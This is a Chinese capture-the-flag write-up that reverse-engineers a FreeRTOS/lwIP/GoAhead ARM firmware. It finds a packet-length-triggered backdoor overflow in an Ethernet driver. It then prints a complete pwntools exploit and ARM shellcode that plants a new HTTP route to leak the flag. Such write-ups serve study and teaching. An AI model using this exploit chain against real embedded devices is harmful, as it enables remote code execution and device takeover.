← 返回列表

Realworld CTF 之 rtos FLAG writeup

单站 天问记事簿 发布 Mon, 31 Jan 2022 22:47:00 +0800 入库 2026-11-18T12:56:03

原创 Sakura kiprey 2022-01-31 22:47

在过去的rwctf中,我们为FLAG(FreeRTOS+LwIP+ARM+GoAhead)这道题思考了很久,终于今天复现完成决定分享出来,也在这里祝大家新年快乐\~

FreeRTOS+LwIP+ARM+GoAheadI don't want another backdoor ctf. So I have to say: "There is a backdoor in challange"The default account in attachment is admin:adminnc 8.210.44.156 31337attachmentPwn, difficulty:normalHint: flag.bin has a backdoor/bugdoor and you're supposed to take over it. The flag is not embedded in the binary and will be made available to the appliance via network at runtime, see docker-compose.yml in attachment for details.

这一题是多个部件组成的一个二进制文件,其中

题目给了一些附件,其中有用的主要有:

把题目启动之后,访问 localhost:5555

,即可访问到题目 Web 服务的登录界面:

接下来输入账号
admin

、密码
admin

,进入到一个普通的小游戏页面,看上去没什么特别的,估计不是重点;直接访问 backdoor 接口,返回 404

界面。

如果想退出 QEMU, 则在启动 qemu 的终端里,先键入 ctrl + a

,之后抬起这两个键,并接着按下 x

即可退出。

如果我们直接把题目内核拖入 IDA 中,IDA 是无法识别的,因此需要确定并指定加载基地址。

基地址的确定本身就是一件比较难的事情,需要逻辑推理+大胆猜测。

我们先将 flag.bin 拖入 32 位 IDA(注意是32位) ,指定 Processor Type 为 ARM Little-endian:

0x6001XXXX

的指令,结合 gdb 调试断下的指令位置为
0x60010658

:
因此我们可以大胆推断基地址应该为 0x60010000。

加载基地址确定好后,就可以为 IDA 重设基地址。

之后 IDA 便可以分析出部分代码等:

接下来还需要全选IDA中的代码+数据,并右键点击 Analyze 进行完整分析,等待它分析完成。

但是这里的分析不会完全的进行分析,因此还需要使用这个 firmware-fix 脚本来进行二次分析,执行自动创建函数体、字符串等操作。(确定了代码区末尾地址为 0x6006F544

)

注意:该脚本无法区分出不同的段,因此在这一题中效果一般般....... 会把一些明显是数据的东西恢复成函数。

感兴趣可以看看源码,不长。

执行完成上面的步骤后,仍然有相当一部分的字符串无法使用交叉引用,暂且先这样。

需要注意的是,IDA 的反编译引擎 Hex-Ray 需要参考 segment 的信息来生成 C 代码(例如RWX权限情况),因此我们最好恢复一下。最简单的方式就是把当前这个 ROM 段权限直接改成 RWX,不过本人根据恢复结果创建了一个 text 段。

现在我们可以尝试恢复 GoAhead 符号。首先通过字符串搜索 + 交叉引用找到 GoAhead 相关的函数:

注意:如果该函数的反汇编无法直接 F5, 则找到该地址的上一个函数的末尾地址,并右键点击 Create Function ,之后再反编译即可。

该函数最后一行有一个字符串说明了 GoAHead 的版本号,为 5.1.5

,因此我们可以立即编译一个 5.1.5 的 GoAHead 二进制文件:

这里可以指定使用 arm32 编译器来生成 libgo.so,这样 bindiff 效果会更好。

git clone https://github.com/embedthis/goaheadcd goaheadgit checkout v5.1.5makefile build/linux-x64-default/bin/libgo.so # 目标文件

将该 libgo.so 目标文件拖到 IDA 里,生成 libgo.idb 数据库文件。之后在开启 flag.bin 的 IDA 中,使用 BinDiff 插件与 libgo.idb 进行比对。

通过简单的对比,发现 Similarity 大于 0.80 的函数基本上和 libgo.so 的反编译结果能对上,因此我们可以尝试恢复这部分函数的符号上去:

注意,BinDiff 可以通过比较基本块关联、反编译代码关联等来进行比较,因此即便用于比较的两个文件是不同架构的,该插件仍然可以比较并输出结果。

下图是我恢复 similarity > 0.40 的操作,注意最好不要像我这么冒险,恢复相似度非常低的函数。

File -> Produce file -> Create C Header File

将一些结构体定义输出至新的头文件中;之后在 flag.bin IDA 界面中,点击
File -> Load file -> Parse C header file

导入该头文件。
题目在启动时便给了版本号:

lwIP-2.1.3 initialized!

首先下拉代码并编译:

git clone https://git.savannah.nongnu.org/git/lwip.gitcd lwipgit checkout STABLE-2_1_3_RELEASEcmake -B build .cd build# 安装 ARM 编译器sudo apt-get install gcc-arm-linux-gnueabihfCC=arm-linux-gnueabihf-gcc make lwipcore lwipallapps

make 时遇到各种头文件缺失问题,首先 down 一个 RTOS 源码下来:

# 在 lwIP 的同级目录下git clone https://github.com/FreeRTOS/FreeRTOSgit submodule update --init --recursive

之后给 lwIP 打上这个 patch:

diff --git a/CMakeLists.txt b/CMakeLists.txtindex f05c0f61..a26752f1 100644--- a/CMakeLists.txt+++ b/CMakeLists.txt@@ -14,6 +14,9 @@ set(CPACK_PACKAGE_VERSION_PATCH "${LWIP_VERSION_REVISION}") set(CPACK_SOURCE_IGNORE_FILES "/build/;${CPACK_SOURCE_IGNORE_FILES};.git") set(CPACK_SOURCE_PACKAGE_FILE_NAME "lwip-${LWIP_VERSION_MAJOR}.${LWIP_VERSION_MINOR}.${LWIP_VERSION_REVISION}") include(CPack)+include_directories ("src/include")+include_directories ("test/unit")+include_directories ("../FreeRTOS/FreeRTOS/Demo/CORTEX_A9_Zynq_ZC702/RTOSDemo/src/lwIP_Demo/lwIP_port/include") # Target for package generation add_custom_target(dist COMMAND ${CMAKE_MAKE_PROGRAM} package_source)diff --git a/src/include/lwip/arch.h b/src/include/lwip/arch.hindex 58dae33a..6159082f 100644--- a/src/include/lwip/arch.h+++ b/src/include/lwip/arch.h@@ -126,8 +126,8 @@ typedef uint8_t u8_t; typedef int8_t s8_t; typedef uint16_t u16_t; typedef int16_t s16_t;-typedef uint32_t u32_t;-typedef int32_t s32_t;+// typedef uint32_t u32_t;+// typedef int32_t s32_t; #if LWIP_HAVE_INT64 typedef uint64_t u64_t; typedef int64_t s64_t;diff --git a/src/include/lwip/sockets.h b/src/include/lwip/sockets.hindex d70d36c4..ac17f302 100644--- a/src/include/lwip/sockets.h+++ b/src/include/lwip/sockets.h@@ -108,7 +108,7 @@ struct sockaddr_storage { /* If your port already typedef's socklen_t, define SOCKLEN_T_DEFINED to prevent this code from redefining it. */ #if !defined(socklen_t) && !defined(SOCKLEN_T_DEFINED)-typedef u32_t socklen_t;+// typedef u32_t socklen_t; #endif #if !defined IOV_MAX@@ -519,10 +519,10 @@ struct pollfd #endif #if LWIP_TIMEVAL_PRIVATE-struct timeval {- long tv_sec; /* seconds */- long tv_usec; /* and microseconds */-};+// struct timeval {+// long tv_sec; /* seconds */+// long tv_usec; /* and microseconds */+// }; #endif /* LWIP_TIMEVAL_PRIVATE */ #define lwip_socket_init() /* Compatibility define, no init needed. */

之后重新执行上述的编译操作即可。

但是这样编译出来的竟然是静态链接库,没法拖到 IDA 里分析,因此还需要修改一下 CMakeList 中的东西:

diff --git a/src/Filelists.cmake b/src/Filelists.cmakeindex 21d7b490..179f5716 100644--- a/src/Filelists.cmake+++ b/src/Filelists.cmake@@ -268,12 +268,12 @@ else (DOXYGEN_FOUND) endif (DOXYGEN_FOUND) # lwIP libraries-add_library(lwipcore EXCLUDE_FROM_ALL ${lwipnoapps_SRCS})+add_library(lwipcore SHARED ${lwipnoapps_SRCS}) target_compile_options(lwipcore PRIVATE ${LWIP_COMPILER_FLAGS}) target_compile_definitions(lwipcore PRIVATE ${LWIP_DEFINITIONS} ${LWIP_MBEDTLS_DEFINITIONS}) target_include_directories(lwipcore PRIVATE ${LWIP_INCLUDE_DIRS} ${LWIP_MBEDTLS_INCLUDE_DIRS}) -add_library(lwipallapps EXCLUDE_FROM_ALL ${lwipallapps_SRCS})+add_library(lwipallapps SHARED ${lwipallapps_SRCS}) target_compile_options(lwipallapps PRIVATE ${LWIP_COMPILER_FLAGS}) target_compile_definitions(lwipallapps PRIVATE ${LWIP_DEFINITIONS} ${LWIP_MBEDTLS_DEFINITIONS}) target_include_directories(lwipallapps PRIVATE ${LWIP_INCLUDE_DIRS} ${LWIP_MBEDTLS_INCLUDE_DIRS})

然后编译报错,提示 :

/usr/bin/ld: errno: TLS definition in /lib/x86_64-linux-gnu/libc.so.6 section .tbss mismatches non-TLS reference in CMakeFiles/lwipcore.dir/src/api/if_api.c.o

将某个头文件中的 extern errno

替换掉即可:

diff --git a/src/include/lwip/errno.h b/src/include/lwip/errno.hindex 48d6b539..acd7817f 100644--- a/src/include/lwip/errno.h+++ b/src/include/lwip/errno.h@@ -174,7 +174,8 @@ extern "C" { #define EMEDIUMTYPE 124 /* Wrong medium type */ #ifndef errno-extern int errno;+// extern int errno;+#include \ #endif #else /* LWIP_PROVIDE_ERRNO */

成功编译出 .so 动态链接库。之后照着上面的步骤恢复符号即可。

后来才发现,这里恢复 lwIP 符号的操作并没有什么用处,纯当是踩坑记录了。

接下来可以看看字符串表中有哪些有用的信息:

看上去都很有趣,但是都找不到交叉引用(恢复的还是不够好)。

不过可以通过全局搜索字符串的地址来找到引用的地方。

那如何调用这个 submit 呢?通过字符串搜索可以得出 /web/submit.jst

这个路由路径,因此我们可以通过访问 URL 来进入这个页面:

submit 接口暂时告一段落。根据打题的师傅所说,GoAHead 除了增加 submit 功能以外,其余部分基本没动过。根据我进一步所查询的资料,backdoor 应该是位于 RT-thread(一个国产 RTOS) 中 lwIP模块 的 smc911x 驱动中......

沉思,这个 backdoor 其他师傅们是怎么找出来的.....

这里直接开天眼,backdoor 位于地址 0x6001B024

中(smc911x_eth_rx 函数,用于接收数据包),以下是 IDA 反编译+自己简单恢复符号后的结果:

int __fastcall smc911x_emac_rx_backdoor(int a1){ int *v1; // r4 char v4[64]; // [sp+Ch] [bp-70h] BYREF int v5[2]; // [sp+4Ch] [bp-30h] BYREF int *v6; // [sp+54h] [bp-28h] int pktlen; // [sp+58h] [bp-24h] int status; // [sp+5Ch] [bp-20h] int v9; // [sp+60h] [bp-1Ch] int *data; // [sp+64h] [bp-18h] unsigned int v11; // [sp+68h] [bp-14h] int v12; // [sp+6Ch] [bp-10h] v12 = 0; v9 = a1; if ( !a1 ) rt_assert_handler(byte_600704AC, 0); if ( (unsigned __int8)((unsigned int)smc911x_reg_read(v9, 124) >> 16) ) { status = smc911x_reg_read(v9, 64); pktlen = HIWORD(status) & 0x3FFF; smc911x_reg_write(v9, 0x6C, 0); v11 = (unsigned int)(pktlen + 3) >> 2; v12 = pbuf_alloc(0, 4 * v11, 0x280u); if ( v12 ) { data = *(int **)(v12 + 4); while ( v11-- ) { v1 = data++; *v1 = smc911x_reg_read(v9, 0); } } if ( (status & 0x8000) != 0 ) rt_kprintf("EMAC: dropped bad packet. Status: 0x%08x\n", status); v5[0] = dword_60079E78 + 0x16D6DD4; // backdoor v5[1] = dword_60079E7C + 0xC25FBB; v6 = v5; if ( pktlen == (unsigned __int8)(dword_60079E78 - 0x2C) )// 0x62 { backdoor_time = time(0); backdoor_cnt = 1; } else if ( pktlen == *((unsigned __int8 *)v6 + backdoor_cnt) && time(0) - backdoor_time \<= 4 ) { ++backdoor_cnt; } if ( backdoor_cnt == 8 && pktlen == 0x202 && v12 ) diy_memcpy((int)v4, *(_DWORD *)(v12 + 4), pktlen); } return v12;}

而这是该函数的源码(注意函数版本不同,会带来一些差异):

/* reception packet. */struct pbuf *smc911x_emac_rx(rt_device_t dev){ struct pbuf *p = RT_NULL; struct eth_device_smc911x *emac; emac = SMC911X_EMAC_DEVICE(dev); RT_ASSERT(emac != RT_NULL); /* take the emac buffer to the pbuf */ if (LAN9118_RX_FIFO_INF_RXSUSED(smc911x_reg_read(emac, LAN9118_RX_FIFO_INF))) { uint32_t status; uint32_t pktlen, tmplen; status = smc911x_reg_read(emac, LAN9118_RXSFIFOP); /* get frame length */ pktlen = (status & LAN9118_RX_STS_PKT_LEN) >> 16; smc911x_reg_write(emac, LAN9118_RX_CFG, 0); tmplen = (pktlen + 3) / 4; /* allocate pbuf */ p = pbuf_alloc(PBUF_RAW, tmplen * 4, PBUF_RAM); if (p) { uint32_t *data = (uint32_t *)p->payload; while (tmplen--) { *data++ = smc911x_reg_read(emac, LAN9118_RXDFIFOP); } } if (status & LAN9118_RXS_ES) { rt_kprintf(DRIVERNAME ": dropped bad packet. Status: 0x%08x\n", status); } } return p;}

对照可以得出,backdoor 触发条件如下:

这样就可以触发一个向 0x64 大小的数组覆写 0x202 大小数据的缓冲区溢出漏洞。

由于该题没有 NX、PIE、ASLR 等保护,因此我们可以通过缓冲区溢出来劫持控制流,执行我们的 shellcode,然后一定要在 shellcode 执行完成后恢复函数的栈数据等,并跳转回之前的函数。

实时操作系统没有内核的概念,因此如果运行时环境被破坏,控制流无法继续执行,则整个操作系统将立即重启/终止,无法继续执行。

这里,我们需要精心设计 shellcode,这里列出两种解法:

这里选择第一种方法(挑战一下),手动注册 action/backdoor 的事件处理例程和路由。

通过动态调试得知:

根据上面的分析,我们可以编写出以下的代码来触发漏洞:

! python3from pwn import *context( os='linux', arch='arm', bits=32, encoding='latin', log_level="debug")def send_packet(packet_len, data=b''): p = remote("127.0.0.1", 5555) remain_len = packet_len - len(data) assert remain_len >= 0 p.send(data + b"_" * remain_len) p.close() time.sleep(0.2)if __name__ == '__main__': for ch in "backdoor": # \x62 \x61 \x63 \x6b \x64 \x6f \x6f \x72 send_packet(ord(ch) - 0x3a) send_packet(0x202 - 0x3a)

还记得漏洞触发必须在 4s 内完成,因此编写了该 gdb script 辅助调试:

target remote localhost:1234b *0x6001b1b4commands if $r3 > 0x60 printf "packet len = 0x%x\n", $r3 end continueendb* 0x6001B1BCcommands printf "backdoor_cnt = 0\n" continueendb* 0x6001B250commands printf "backdoor_cnt = %d\n", $r2 continueendb* 0x6001B298commands printf "backdoor_memcpy called\n" tb *0x6001b2a8 # continueendb* 0x600101E4commands printf "submit handler called\n" printf "Webs* wp = 0x%x\n", $r0 continueendb* 0x60010208commands printf "submit handler websGetVar called\n" continueend# b* 0x60d9c5e8 shellcode ret# b* 0x60d9c5ec handler addressc

执行效果如下,可以看到成功栈溢出:

Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x62Breakpoint 2, 0x6001b1bc in ?? ()backdoor_cnt = 1Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x61Breakpoint 3, 0x6001b238 in ?? ()backdoor_cnt = 2Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x63Breakpoint 3, 0x6001b238 in ?? ()backdoor_cnt = 3Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x6bBreakpoint 3, 0x6001b238 in ?? ()backdoor_cnt = 4Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x64Breakpoint 3, 0x6001b238 in ?? ()backdoor_cnt = 5Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x6fBreakpoint 3, 0x6001b238 in ?? ()backdoor_cnt = 6Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x6fBreakpoint 3, 0x6001b238 in ?? ()backdoor_cnt = 7Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x72Breakpoint 3, 0x6001b238 in ?? ()backdoor_cnt = 8Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()Breakpoint 1, 0x6001b1b4 in ?? ()packet len = 0x202Breakpoint 4, 0x6001b298 in ?? ()backdoor_memcpy called

并将机器打崩:

打崩后,先按下
ctrl + a

,松手再按下
x

以关闭 QEMU 。

重新调试回到栈溢出的函数调用位置。注意调用函数时,函数传参分别是 R0、R1、R2。

之后我们需要将当前栈上的数据 dump 下来,并在栈溢出时完整的覆盖回去,保证栈数据的完整性。因为覆盖长度为 0x202,一定会覆盖到下面的栈帧,因此务必恢复,否则可能会导致 crash。

需要注意的是,栈溢出能给自己写 shellcode 的空间很有限,只有大约 0x20,因此我们必须用其他方式来上传自己的 shellcode,然后在栈溢出这里只修改返回值来达到跳转执行的目的。

而上传 shellcode 可以用之前 GoAHead 扩展的 submit 方法,动态调试可以得知存放 submit message 的内存地址。

但是,栈溢出跳转时,跳转的 shellcode 地址不是这个 v4,因为当栈溢出时,v4 这块内存已经被覆写了:

那该如何获取到 shellcode 的地址呢?我们可以在 shellcode 前增加一些字符串,例如 "ShellcodeHeader",然后使用 gdb 命令 find 全局搜索内存来找到 shellcode 地址:

find 0x60000000, +0x4000000, 'S','h','e','l','l','c','o','d','e'# 不使用 find xxx, +xxx, "Shellcode" 是因为这会匹配末尾的 \0

查询结果如下。注意下面的 shellcode 被 URL 转码了(这就是另外的问题了):

或者逆向
websSetSessionVar

函数,找到复制出的字符串地址也是可以的。

还有一点,将 shellcode 进行 submit 操作之前,一定要对当前会话进行 login 操作,否则内存中将无法搜索到 shellcode。

shellcode 要做的事情主要有两件:

继续写 exp 时遇到了一些问题:

submit 的 shellcode 会被 GoAHead 进行 URL 编码:

因此在发送 submit 请求时,需要加上 HTTP header 显式告知 GoAHead 无需编码:

"Content-Type":"application/x-www-form-urlencoded"

需要注意的是,既然都标上这个了,发送的 data 就不能是 json 了(即不能发送 {'word': shellcode}

),因为这还是会让远程忽略该 header 进行 URL 编码。

没试过远程,因为远程关了......

! python3from pwn import *import requestscontext( arch='arm', bits=32, encoding='latin', log_level="info")baseURL = "http://localhost:5555"def create_session(): session = requests.session() login_data = {"username": "admin", "password": "admin"} res = session.post(url=baseURL+"/action/login", data=login_data) assert res.status_code == 200 return sessiondef submit_msg(session, msg): # submit_data = msg # {"word": msg} res = session.post( url=baseURL+"/action/submit", headers={ "Content-Type":"application/x-www-form-urlencoded" }, data=msg) assert res.status_code == 200# def get_last_submit_msg(session):# res = session.get(url=baseURL+"/submit.jst")# assert res.status_code == 200# return res.contentdef execute_shellcode(shellcode_addr=0x6004cb30): def send_packet(packet_len, data=b''): p = remote("127.0.0.1", 5555) remain_len = packet_len - len(data) assert remain_len >= 0 p.send(data + b"*" * remain_len) p.close() time.sleep(0.3) for ch in "backdoor": # \x62 \x61 \x63 \x6b \x64 \x6f \x6f \x72 send_packet(ord(ch) - 0x3a) send_packet(0x202 - 0x3a, flat( "-"*0xa, 0x6b636162, 0x726f6f64, 0x60e4297c, 0x00000202, 0x02020000, 0x609a4208, 0x61cd29f8, 0xffffffff, 0x61cd27e4, 0x60e52d58, 0x04040404, 0x60e429d4, shellcode_addr, 0x06060606, 0x00000000, 0x08080808, 0x609a4208, 0x61cd278c, 0x6000001f, 0x00000001, 0x2000001f, 0x11111111, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x80000068, 0x60e428e8, 0x00000000, 0x60e52cf4, 0x609a40e4, 0x60e429f0, 0x609a40dc, 0x00000001, 0x60e3a994, 0x60e3a994, 0x60e429f0, 0x00000000, 0x00000006, 0x60e3a9e8, 0x00787265, 0x00000000, 0x00000000, 0x00000005, 0x00000000, 0x00000006, 0x00000000, 0x0000007e, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x80000080, 0x60e42aac, 0x60e42ac0, 0x60e42acc, 0x60e42abc, 0x00000000, 0x60e42a70, 0xffffffff, 0x60e42a70, 0x60e42a70, 0x00000001, 0x60e42a84, 0xffffffff, 0x60e4aaf8, 0x60e4aaf8, 0x00000000, 0x00000008, 0x00000004, 0x0000ffff, 0x00000000, 0x00000000, 0x00000000, 0x60e52bc4, 0x60e52a9c, 0x60e52ab4, 0x60e72954, 0x60e52a9c, 0x60e52a9c, 0x60e52ab4, 0x60e72954, 0x00000000, 0x00000000, 0x80008008, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, "\xa5\xa5", ))shellcode_addr = 0x60d9c588sc_bytecode = asm(vma=shellcode_addr, shellcode=''' // save all registers push {r0-r11} // memcpy handler to /log_err.html + 0x200 ldr r0, =0x606D3aD0 ldr r1, =backdoor_handler ldr r2, =0x200 ldr r3, =0x60021704 BL call // call websDefineAction("backdoor", backdoor_handler) ldr r0, =backdoor ldr r1, =0x606D3aD0 ldr r3, =0x6004D28C BL call // rt_printf status mov r1, r0 ldr r0, =rt_printf_fmt ldr r3, =0x6002111C BL call // websAddRoute("/action/backdoor", "action", 0) ldr r0, =route_path ldr r1, =route_handler mov r2, 0 ldr r3, =0x600636A0 BL call // pop all registers pop {r0-r11} // return to origin ldr pc, =0x6004cb30/* ----------- backdoor_handler ----------- */backdoor_handler: push {r1-r11, lr} push {r0} // char* name = websGetVar(wp, key, key); ldr r0, [sp] ldr r1, =flag ldr r2, =flag ldr r3, =0x600577C4 BL call // memcpy to 404 data mov r1, r0 ldr r0, =0x60076824 // ldr r1, =success_page ldr r2, =23 ldr r3, =0x60021704 BL call // websSetStatus(wp, 200) ldr r0, [sp] ldr r1, =200 ldr r3, =0x600588C4 BL call // websWriteHeaders(wp, -1, 0) ldr r0, [sp] ldr r1, =-1 ldr r2, =0 ldr r3, =0x6005891C BL call // websWriteEndHeaders(wp) ldr r0, [sp] ldr r3, =0x60058D30 BL call // websWrite(wp, page) ldr r0, [sp] ldr r1, =success_page ldr r3, =0x60058E2C BL call // websDone(wp) ldr r0, [sp] ldr r3, =0x6005496C BL call pop {r0} pop {r1-r11, pc}call: // 手动实现 call r3 push {lr} mov lr, pc add lr, lr, 4 mov pc, r3 pop {pc}flag: .asciz "flag"backdoor: .asciz "backdoor"success_page: .asciz "{\"status\" : \"success\"}"route_path: .asciz "/action/backdoor"route_handler: .asciz "action"rt_printf_fmt: .asciz "shellcode status: %d\n"backdoor_fmt: .asciz "backdoor: %s\n"''')if __name__ == '__main__': # 启动 qemu p = process("./dbg.sh") p.recvuntil("lwIP-2.1.3 initialized!") time.sleep(1) # 发送并执行 shellcode log.info("exploiting...") session = create_session() submit_msg(session, b"ShellcodeHeader" + sc_bytecode) execute_shellcode(shellcode_addr) # 手动进行 health check,并获取 flag # print(p.recvall(timeout=1)) # os.system("python3 ./flag.py") p.interactive()

效果:

这题的题解如上文所示,到此为止。接下来我们来简单扩展一下内容。

最后简单研究一下 RT-thread 中的 lwIP。

这一题 FreeRTOS 中的 lwIP 协议栈模块,是使用的 RT-thread (国产 RTOS)中的 lwIP 。

根据出题人的想法,使用 RT-thread 中的 lwIP 是为了便于调试。

出题也不容易......

lwIP 是一个小型开源的 TCP/IP 协议栈,重点是在保持 TCP 主要功能的基础上减少对 RAM 的占用,适合嵌入式系统。RT-thread 中,协议栈的驱动架构图如下:

RT-thread 在原版 lwIP 的基础上,新增了一个网络设备层。该层对以太网数据收发采用独立双线程结构。

当以太网硬件接收到数据报文后,硬件会将数据放入缓冲区,之后触发硬件中断。所注册的中断处理例程会发送邮件(mail)通知数据接收线程 erx ,使其根据报文长度申请 pbuf、读入数据,并在数据接收完成后,继续发送邮件唤醒 TCP/IP 线程进行进一步的处理。

当有数据需要发送时,lwIP 会通过邮件向 etx 线程发送请求,之后永久等待 tx_ack 信号量,等待数据发送完成。而当 ext 线程数据发送完成后, tx_ack 信号量将会被设置,通知 lwIP 数据已经发送完成。

接下来,我们来简单看看这个数据收发的过程。

初始时,RTOS 中控制流会执行 lwip_system_init

函数来进行一系列的初始化操作。

/** * LwIP system initialization */extern int eth_system_device_init_private(void);int lwip_system_init(void){ ... eth_system_device_init_private(); ... tcpip_init(tcpip_init_done_callback, (void *)&done_sem); ... rt_kprintf("lwIP-%d.%d.%d initialized!\n", LWIP_VERSION_MAJOR, LWIP_VERSION_MINOR, LWIP_VERSION_REVISION); ...}

该函数:

这里我们只关注 eth_system_device_init_private

函数,该函数只做了两件事:创建 etx 和 erx 线程,并创建对应的邮箱。

int eth_system_device_init_private(void){ rt_err_t result = RT_EOK; /* initialize Rx thread. */#ifndef LWIP_NO_RX_THREAD /* initialize mailbox and create Ethernet Rx thread */ result = rt_mb_init(ð_rx_thread_mb, "erxmb", ð_rx_thread_mb_pool[0], sizeof(eth_rx_thread_mb_pool)/4, RT_IPC_FLAG_FIFO); RT_ASSERT(result == RT_EOK); result = rt_thread_init(ð_rx_thread, "erx", eth_rx_thread_entry, RT_NULL, ð_rx_thread_stack[0], sizeof(eth_rx_thread_stack), RT_ETHERNETIF_THREAD_PREORITY, 16); RT_ASSERT(result == RT_EOK); result = rt_thread_startup(ð_rx_thread); RT_ASSERT(result == RT_EOK);#endif /* initialize Tx thread */#ifndef LWIP_NO_TX_THREAD /* initialize mailbox and create Ethernet Tx thread */ result = rt_mb_init(ð_tx_thread_mb, "etxmb", ð_tx_thread_mb_pool[0], sizeof(eth_tx_thread_mb_pool)/4, RT_IPC_FLAG_FIFO); RT_ASSERT(result == RT_EOK); result = rt_thread_init(ð_tx_thread, "etx", eth_tx_thread_entry, RT_NULL, ð_tx_thread_stack[0], sizeof(eth_tx_thread_stack), RT_ETHERNETIF_THREAD_PREORITY, 16); RT_ASSERT(result == RT_EOK); result = rt_thread_startup(ð_tx_thread); RT_ASSERT(result == RT_EOK);#endif return (int)result;}

我们看看 erx 线程主要干了什么事情:

/* Ethernet Rx Thread */static void eth_rx_thread_entry(void* parameter){ struct eth_device* device; while (1) { // 尝试从邮箱中读取邮件,如果没有邮件则一直阻塞 if (rt_mb_recv(ð_rx_thread_mb, (rt_ubase_t *)&device, RT_WAITING_FOREVER) == RT_EOK) { rt_base_t level; struct pbuf *p; ... /* receive all of buffer */ while (1) { if(device->eth_rx == RT_NULL) break; // 调用注册的 eth_rx 函数,从 device 中接收数据 p = device->eth_rx(&(device->parent)); if (p != RT_NULL) { /* notify to upper layer */ // 在这里将接收到的数据传给 TCPIP 线程 if( device->netif->input(p, device->netif) != ERR_OK ) { LWIP_DEBUGF(NETIF_DEBUG, ("ethernetif_input: Input error\n")); pbuf_free(p); p = NULL; } } else break; } } else { LWIP_ASSERT("Should not happen!\n",0); } }}

从代码中可以得知,该线程会循环读取邮箱 -> 从 device 中读取数据 -> 把读取的数据传给 TCPIP 线程这样的一个过程。

而另一个 etx 线程主要用于和硬件打交道,将 TCPIP 线程发至 etx 线程的数据转发给具体的 device 执行发包操作,待发包完成后发送 ack 回 TCPIP 线程:

/* Ethernet Tx Thread */static void eth_tx_thread_entry(void* parameter){ struct eth_tx_msg* msg; while (1) { // 阻塞读取邮件 if (rt_mb_recv(ð_tx_thread_mb, (rt_ubase_t *)&msg, RT_WAITING_FOREVER) == RT_EOK) { struct eth_device* enetif; RT_ASSERT(msg->netif != RT_NULL); RT_ASSERT(msg->buf != RT_NULL); enetif = (struct eth_device*)msg->netif->state; if (enetif != RT_NULL) { /* call driver's interface */ // 尝试发包 if (enetif->eth_tx(&(enetif->parent), msg->buf) != RT_EOK) { /* transmit eth packet failed */ } } /* send ACK */ // 发包完了之后发送 ACK 回到 TCPIP rt_completion_done(&msg->ack); } }}

上面是 lwIP 中关于 etx 和 erx 线程的初始化。实际的数据收发操作都是由具体的硬件来完成,那硬件是怎么注册的呢?

这里以 qemu-vexpress-a9

设备为例(没错就是 flag 题所用设备)

根据以下调用链:

/** * @brief This function will call all levels of initialization functions to complete * the initialization of the system, and finally start the scheduler. */int rtthread_startup(void); => 调用 => /** * @brief This function will create and start the main thread, but this thread * will not run until the scheduler starts. */void rt_application_init(void);=> 创建 main 线程,线程执行函数 => /** * @brief The system main thread. In this thread will call the rt_components_init() * for initialization of RT-Thread Components and call the user's programming * entry main(). */void main_thread_entry(void *parameter);=> 调用 => /** * @brief RT-Thread Components Initialization. */void rt_components_init(void);

我们可以找到函数 rt_components_init

的实现:

/** * @brief RT-Thread Components Initialization. */void rt_components_init(void){#if RT_DEBUG_INIT [...]#else volatile const init_fn_t *fn_ptr; for (fn_ptr = &__rt_init_rti_board_end; fn_ptr \< &__rt_init_rti_end; fn_ptr ++) { (*fn_ptr)(); }#endif /* RT_DEBUG_INIT */}

这里,是不是很像先前使用 IDA 反编译 backdoor 向上找交叉引用的地方?

我们可以看到,该函数会遍历从 __rt_init_rti_board_end -> __rt_init_rti_end

上的每个函数指针,并执行。这两个函数指针代表了什么呢?阅读一下相关的代码和注释:

